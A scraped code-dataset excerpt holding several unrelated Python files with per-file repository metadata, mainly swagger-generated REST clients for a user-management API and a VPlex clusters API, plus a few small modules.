for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method create_user_api_v1_users_post" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'body' is set
if ('body' not in params or
params['body'] is None):
raise ValueError("Missing the required parameter `body` when calling `create_user_api_v1_users_post`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/api/v1/users/', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='User', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def delete_user_api_v1_users_user_id_delete(self, user_id, **kwargs): # noqa: E501
"""Delete User # noqa: E501
Deletes the user specified by ID. Currently, these conditions must be met: 1) User must have 0 pipelines executed 2) User must have only 1 or less workspaces 3) User must have only 1 or less datasources In this case, the user will be deleted from here, from firebase, the workspace will be deleted, the datasource will be deleted, credit entry will be deleted. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_user_api_v1_users_user_id_delete(user_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str user_id: (required)
:return: str
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.delete_user_api_v1_users_user_id_delete_with_http_info(user_id, **kwargs) # noqa: E501
else:
(data) = self.delete_user_api_v1_users_user_id_delete_with_http_info(user_id, **kwargs) # noqa: E501
return data
def delete_user_api_v1_users_user_id_delete_with_http_info(self, user_id, **kwargs): # noqa: E501
"""Delete User # noqa: E501
Deletes the user specified by ID. Currently, these conditions must be met: 1) User must have 0 pipelines executed 2) User must have only 1 or less workspaces 3) User must have only 1 or less datasources In this case, the user will be deleted from here, from firebase, the workspace will be deleted, the datasource will be deleted, credit entry will be deleted. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_user_api_v1_users_user_id_delete_with_http_info(user_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str user_id: (required)
:return: str
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['user_id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_user_api_v1_users_user_id_delete" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'user_id' is set
if ('user_id' not in params or
params['user_id'] is None):
raise ValueError("Missing the required parameter `user_id` when calling `delete_user_api_v1_users_user_id_delete`") # noqa: E501
collection_formats = {}
path_params = {}
if 'user_id' in params:
path_params['user_id'] = params['user_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['OAuth2PasswordBearer'] # noqa: E501
return self.api_client.call_api(
'/api/v1/users/{user_id}', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='str', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_loggedin_user_api_v1_users_me_get(self, **kwargs): # noqa: E501
"""Get Loggedin User # noqa: E501
Get current user. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_loggedin_user_api_v1_users_me_get(async_req=True)
>>> result = thread.get()
:param async_req bool
:return: User
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_loggedin_user_api_v1_users_me_get_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.get_loggedin_user_api_v1_users_me_get_with_http_info(**kwargs) # noqa: E501
return data
def get_loggedin_user_api_v1_users_me_get_with_http_info(self, **kwargs): # noqa: E501
"""Get Loggedin User # noqa: E501
Get current user. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_loggedin_user_api_v1_users_me_get_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:return: User
If the method is called asynchronously,
returns the request thread.
"""
all_params = [] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_loggedin_user_api_v1_users_me_get" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['OAuth2PasswordBearer'] # noqa: E501
return self.api_client.call_api(
'/api/v1/users/me', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='User', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_user_by_id_api_v1_users_user_id_get(self, user_id, **kwargs): # noqa: E501
"""Get User By Id # noqa: E501
Get a specific user by id. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_user_by_id_api_v1_users_user_id_get(user_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str user_id: (required)
:return: User
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_user_by_id_api_v1_users_user_id_get_with_http_info(user_id, **kwargs) # noqa: E501
else:
(data) = self.get_user_by_id_api_v1_users_user_id_get_with_http_info(user_id, **kwargs) # noqa: E501
return data
def get_user_by_id_api_v1_users_user_id_get_with_http_info(self, user_id, **kwargs): # noqa: E501
"""Get User By Id # noqa: E501
Get a specific user by id. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_user_by_id_api_v1_users_user_id_get_with_http_info(user_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str user_id: (required)
:return: User
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['user_id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_user_by_id_api_v1_users_user_id_get" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'user_id' is set
if ('user_id' not in params or
params['user_id'] is None):
raise ValueError("Missing the required parameter `user_id` when calling `get_user_by_id_api_v1_users_user_id_get`") # noqa: E501
collection_formats = {}
path_params = {}
if 'user_id' in params:
path_params['user_id'] = params['user_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['OAuth2PasswordBearer'] # noqa: E501
return self.api_client.call_api(
'/api/v1/users/{user_id}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='User', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_users_api_v1_users_get(self, **kwargs): # noqa: E501
"""Get Users # noqa: E501
Retrieve users. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_users_api_v1_users_get(async_req=True)
>>> result = thread.get()
:param async_req bool
:param int skip:
:param int limit:
:return: list[User]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_users_api_v1_users_get_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.get_users_api_v1_users_get_with_http_info(**kwargs) # noqa: E501
return data
def get_users_api_v1_users_get_with_http_info(self, **kwargs): # noqa: E501
"""Get Users # noqa: E501
Retrieve users. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_users_api_v1_users_get_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:param int skip:
:param int limit:
:return: list[User]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['skip', 'limit'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_users_api_v1_users_get" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
if 'skip' in params:
query_params.append(('skip', params['skip'])) # noqa: E501
if 'limit' in params:
query_params.append(('limit', params['limit'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['OAuth2PasswordBearer'] # noqa: E501
return self.api_client.call_api(
'/api/v1/users/', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[User]', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def update_loggedin_user_api_v1_users_put(self, body, **kwargs): # noqa: E501
"""Update Loggedin User # noqa: E501
Update own user. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_loggedin_user_api_v1_users_put(body, async_req=True)
>>> result = thread.get()
:param async_req bool
:param UserUpdate body: (required)
:return: User
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.update_loggedin_user_api_v1_users_put_with_http_info(body, **kwargs) # noqa: E501
else:
(data) = self.update_loggedin_user_api_v1_users_put_with_http_info(body, **kwargs) # noqa: E501
return data
def update_loggedin_user_api_v1_users_put_with_http_info(self, body, **kwargs): # noqa: E501
"""Update Loggedin User # noqa: E501
Update own user. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_loggedin_user_api_v1_users_put_with_http_info(body, async_req=True)
>>> result = thread.get()
:param async_req bool
:param UserUpdate body: (required)
:return: User
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['body'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method update_loggedin_user_api_v1_users_put" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'body' is set
if ('body' not in params or
params['body'] is None):
raise ValueError("Missing the required parameter `body` when calling `update_loggedin_user_api_v1_users_put`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['OAuth2PasswordBearer'] # noqa: E501
return self.api_client.call_api(
'/api/v1/users/', 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='User', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def update_user_api_v1_users_user_id_put(self, body, user_id, **kwargs): # noqa: E501
"""Update User # noqa: E501
Update a user. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_user_api_v1_users_user_id_put(body, user_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param UserUpdate body: (required)
:param str user_id: (required)
:return: User
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.update_user_api_v1_users_user_id_put_with_http_info(body, user_id, **kwargs) # noqa: E501
else:
(data) = self.update_user_api_v1_users_user_id_put_with_http_info(body, user_id, **kwargs) # noqa: E501
return data
def update_user_api_v1_users_user_id_put_with_http_info(self, body, user_id, **kwargs): # noqa: E501
"""Update User # noqa: E501
Update a user. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_user_api_v1_users_user_id_put_with_http_info(body, user_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param UserUpdate body: (required)
:param str user_id: (required)
:return: User
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['body', 'user_id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method update_user_api_v1_users_user_id_put" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'body' is set
if ('body' not in params or
params['body'] is None):
raise ValueError("Missing the required parameter `body` when calling `update_user_api_v1_users_user_id_put`") # noqa: E501
# verify the required parameter 'user_id' is set
if ('user_id' not in params or
params['user_id'] is None):
raise ValueError("Missing the required parameter `user_id` when calling `update_user_api_v1_users_user_id_put`") # noqa: E501
collection_formats = {}
path_params = {}
if 'user_id' in params:
path_params['user_id'] = params['user_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['OAuth2PasswordBearer'] # noqa: E501
return self.api_client.call_api(
'/api/v1/users/{user_id}', 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='User', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
| 38.853727
| 383
| 0.613213
| 3,374
| 27,625
| 4.712211
| 0.056609
| 0.051324
| 0.038996
| 0.035222
| 0.967985
| 0.964715
| 0.960375
| 0.947418
| 0.937921
| 0.928423
| 0
| 0.020386
| 0.298606
| 27,625
| 710
| 384
| 38.908451
| 0.800165
| 0.323475
| 0
| 0.804233
| 1
| 0
| 0.179167
| 0.058212
| 0
| 0
| 0
| 0
| 0
| 1
| 0.039683
| false
| 0.015873
| 0.010582
| 0
| 0.108466
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
| 1
| 1
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| null | 0
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| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
bc5db1e26bb6095ac885385847bdab05315b79e1
| 140
|
py
|
Python
|
trixi/logger/visdom/__init__.py
|
comeonfox/trixi
|
e25545104a2e17b1673f4990df5183d610259208
|
[
"MIT"
] | 1
|
2019-09-08T05:00:25.000Z
|
2019-09-08T05:00:25.000Z
|
trixi/logger/visdom/__init__.py
|
comeonfox/trixi
|
e25545104a2e17b1673f4990df5183d610259208
|
[
"MIT"
] | null | null | null |
trixi/logger/visdom/__init__.py
|
comeonfox/trixi
|
e25545104a2e17b1673f4990df5183d610259208
|
[
"MIT"
] | null | null | null |
from trixi.logger.visdom.numpyvisdomlogger import NumpyVisdomLogger
from trixi.logger.visdom.pytorchvisdomlogger import PytorchVisdomLogger
| 46.666667
| 71
| 0.9
| 14
| 140
| 9
| 0.5
| 0.142857
| 0.238095
| 0.333333
| 0
| 0
| 0
| 0
| 0
| 0
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| 0.057143
| 140
| 2
| 72
| 70
| 0.954545
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| 1
| 0
| 1
| 0
|
0
| 7
|
bc6fb479f592a8787d01b34a78aa1a7bce402273
| 44
|
py
|
Python
|
lib/potion/script.py
|
mattvonrocketstein/elixir-python
|
b619ecf8ca296de5f7a0d345396290906b9d2ee2
|
[
"MIT"
] | 2
|
2016-12-26T14:41:34.000Z
|
2019-11-18T02:04:16.000Z
|
lib/potion/version.py
|
mattvonrocketstein/elixir-python
|
b619ecf8ca296de5f7a0d345396290906b9d2ee2
|
[
"MIT"
] | null | null | null |
lib/potion/version.py
|
mattvonrocketstein/elixir-python
|
b619ecf8ca296de5f7a0d345396290906b9d2ee2
|
[
"MIT"
] | 1
|
2019-11-18T02:04:19.000Z
|
2019-11-18T02:04:19.000Z
|
def version():
return "Arthur is a boss"
| 22
| 29
| 0.659091
| 7
| 44
| 4.142857
| 1
| 0
| 0
| 0
| 0
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| 0
| 0.227273
| 44
| 2
| 29
| 22
| 0.852941
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| 0.5
| true
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| 1
| 1
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| 0
| 1
| 1
| 0
|
0
| 7
|
bcc4fc1ff67f1218ffe9a626be6f0bf93f07cc05
| 212
|
py
|
Python
|
miping/application/predictionErrors.py
|
mclgoerg/MiningPersonalityInGerman
|
4c5811a0f72100b7afef9695475a6de9251444b7
|
[
"Apache-2.0"
] | 1
|
2020-09-11T01:11:19.000Z
|
2020-09-11T01:11:19.000Z
|
miping/application/predictionErrors.py
|
mclgoerg/MiningPersonalityInGerman
|
4c5811a0f72100b7afef9695475a6de9251444b7
|
[
"Apache-2.0"
] | null | null | null |
miping/application/predictionErrors.py
|
mclgoerg/MiningPersonalityInGerman
|
4c5811a0f72100b7afef9695475a6de9251444b7
|
[
"Apache-2.0"
] | 2
|
2020-08-12T15:57:06.000Z
|
2020-12-17T18:11:03.000Z
|
class UserNameError(Exception):
"""Raised if user name is not valid"""
pass
class NotASuitableUserError(Exception):
"""Raised if user is not suitable (e.g. private or suspended)"""
pass
| 23.555556
| 69
| 0.665094
| 26
| 212
| 5.423077
| 0.692308
| 0.212766
| 0.241135
| 0.297872
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.231132
| 212
| 8
| 70
| 26.5
| 0.865031
| 0.429245
| 0
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.5
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| 0.5
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| null | 1
| 1
| 1
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| 0
| 0
| 0
| 0
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| 1
| 0
| 0
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| 0
|
0
| 7
|
bcdf67f773fa0d5612a5e3c886a85e8ce2ea5cab
| 14,303
|
py
|
Python
|
vplexapi-7.0.0/vplexapi/api/clusters_api.py
|
dell/python-vplex
|
02c5df5e7f9ed61a13a2838f21ca6467a25dd392
|
[
"Apache-2.0"
] | 3
|
2020-12-01T11:22:13.000Z
|
2021-02-16T17:38:42.000Z
|
vplexapi-7.0.0/vplexapi/api/clusters_api.py
|
dell/python-vplex
|
02c5df5e7f9ed61a13a2838f21ca6467a25dd392
|
[
"Apache-2.0"
] | null | null | null |
vplexapi-7.0.0/vplexapi/api/clusters_api.py
|
dell/python-vplex
|
02c5df5e7f9ed61a13a2838f21ca6467a25dd392
|
[
"Apache-2.0"
] | 3
|
2021-01-01T21:07:55.000Z
|
2021-02-20T07:07:40.000Z
|
# coding: utf-8
"""
VPlex REST API
A definition for the next-gen VPlex API # noqa: E501
OpenAPI spec version: 0.1
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from vplexapi.api_client import ApiClient
class ClustersApi(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def get_cluster(self, cluster_name, **kwargs): # noqa: E501
"""Return a Cluster matching the provided name # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_cluster(cluster_name, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str cluster_name: The name of the cluster (required)
:param str fields: Select which fields are included in the response. 'name' is always included. See FieldSelectionExpression for details.
:return: Cluster
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_cluster_with_http_info(cluster_name, **kwargs) # noqa: E501
else:
(data) = self.get_cluster_with_http_info(cluster_name, **kwargs) # noqa: E501
return data
def get_cluster_with_http_info(self, cluster_name, **kwargs): # noqa: E501
"""Return a Cluster matching the provided name # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_cluster_with_http_info(cluster_name, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str cluster_name: The name of the cluster (required)
:param str fields: Select which fields are included in the response. 'name' is always included. See FieldSelectionExpression for details.
:return: Cluster
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['cluster_name', 'fields'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_cluster" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'cluster_name' is set
if ('cluster_name' not in params or
params['cluster_name'] is None):
raise ValueError("Missing the required parameter `cluster_name` when calling `get_cluster`") # noqa: E501
collection_formats = {}
path_params = {}
if 'cluster_name' in params:
path_params['cluster_name'] = params['cluster_name'] # noqa: E501
query_params = []
if 'fields' in params:
query_params.append(('fields', params['fields'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['basicAuth', 'jwtAuth'] # noqa: E501
return self.api_client.call_api(
'/clusters/{cluster_name}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Cluster', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_clusters(self, **kwargs): # noqa: E501
"""Returns a list of the available clusters # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_clusters(async_req=True)
>>> result = thread.get()
:param async_req bool
:param int offset: Index of the first element to include in paginated results.<br> <b>'limit' must also be specified.</b>
:param int limit: <p>Maximum number of elements to include in paginated results.<br> <b>'offset' must also be specified.<b>
:param str sort_by: Specify the field priority order and direction for sorting. See SortingOrderExpression for details.
:param str fields: Select which fields are included in the response. 'name' is always included. See FieldSelectionExpression for details.
:param int cluster_id: Filter results by cluster_id.
:return: list[Cluster]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_clusters_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.get_clusters_with_http_info(**kwargs) # noqa: E501
return data
def get_clusters_with_http_info(self, **kwargs): # noqa: E501
"""Returns a list of the available clusters # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_clusters_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:param int offset: Index of the first element to include in paginated results.<br> <b>'limit' must also be specified.</b>
:param int limit: <p>Maximum number of elements to include in paginated results.<br> <b>'offset' must also be specified.<b>
:param str sort_by: Specify the field priority order and direction for sorting. See SortingOrderExpression for details.
:param str fields: Select which fields are included in the response. 'name' is always included. See FieldSelectionExpression for details.
:param int cluster_id: Filter results by cluster_id.
:return: list[Cluster]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['offset', 'limit', 'sort_by', 'fields', 'cluster_id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_clusters" % key
)
params[key] = val
del params['kwargs']
if 'offset' in params and params['offset'] < 0: # noqa: E501
raise ValueError("Invalid value for parameter `offset` when calling `get_clusters`, must be a value greater than or equal to `0`") # noqa: E501
if 'limit' in params and params['limit'] > 100: # noqa: E501
raise ValueError("Invalid value for parameter `limit` when calling `get_clusters`, must be a value less than or equal to `100`") # noqa: E501
if 'limit' in params and params['limit'] < 1: # noqa: E501
raise ValueError("Invalid value for parameter `limit` when calling `get_clusters`, must be a value greater than or equal to `1`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
if 'offset' in params:
query_params.append(('offset', params['offset'])) # noqa: E501
if 'limit' in params:
query_params.append(('limit', params['limit'])) # noqa: E501
if 'sort_by' in params:
query_params.append(('sort_by', params['sort_by'])) # noqa: E501
if 'fields' in params:
query_params.append(('fields', params['fields'])) # noqa: E501
if 'cluster_id' in params:
query_params.append(('cluster_id', params['cluster_id'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['basicAuth', 'jwtAuth'] # noqa: E501
return self.api_client.call_api(
'/clusters/', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[Cluster]', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def patch_cluster(self, cluster_name, cluster_patch_payload, **kwargs): # noqa: E501
"""Update attributes of a cluster # noqa: E501
Settable attributes are 'name' and 'allow_auto_join' # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.patch_cluster(cluster_name, cluster_patch_payload, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str cluster_name: The name of the cluster (required)
:param list[JsonPatchOp] cluster_patch_payload: (required)
:return: Cluster
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.patch_cluster_with_http_info(cluster_name, cluster_patch_payload, **kwargs) # noqa: E501
else:
(data) = self.patch_cluster_with_http_info(cluster_name, cluster_patch_payload, **kwargs) # noqa: E501
return data
def patch_cluster_with_http_info(self, cluster_name, cluster_patch_payload, **kwargs): # noqa: E501
"""Update attributes of a cluster # noqa: E501
Settable attributes are 'name' and 'allow_auto_join' # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.patch_cluster_with_http_info(cluster_name, cluster_patch_payload, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str cluster_name: The name of the cluster (required)
:param list[JsonPatchOp] cluster_patch_payload: (required)
:return: Cluster
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['cluster_name', 'cluster_patch_payload'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method patch_cluster" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'cluster_name' is set
if ('cluster_name' not in params or
params['cluster_name'] is None):
raise ValueError("Missing the required parameter `cluster_name` when calling `patch_cluster`") # noqa: E501
# verify the required parameter 'cluster_patch_payload' is set
if ('cluster_patch_payload' not in params or
params['cluster_patch_payload'] is None):
raise ValueError("Missing the required parameter `cluster_patch_payload` when calling `patch_cluster`") # noqa: E501
collection_formats = {}
path_params = {}
if 'cluster_name' in params:
path_params['cluster_name'] = params['cluster_name'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'cluster_patch_payload' in params:
body_params = params['cluster_patch_payload']
# Authentication setting
auth_settings = ['basicAuth', 'jwtAuth'] # noqa: E501
return self.api_client.call_api(
'/clusters/{cluster_name}', 'PATCH',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Cluster', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
| 42.823353
| 156
| 0.62798
| 1,720
| 14,303
| 5.005233
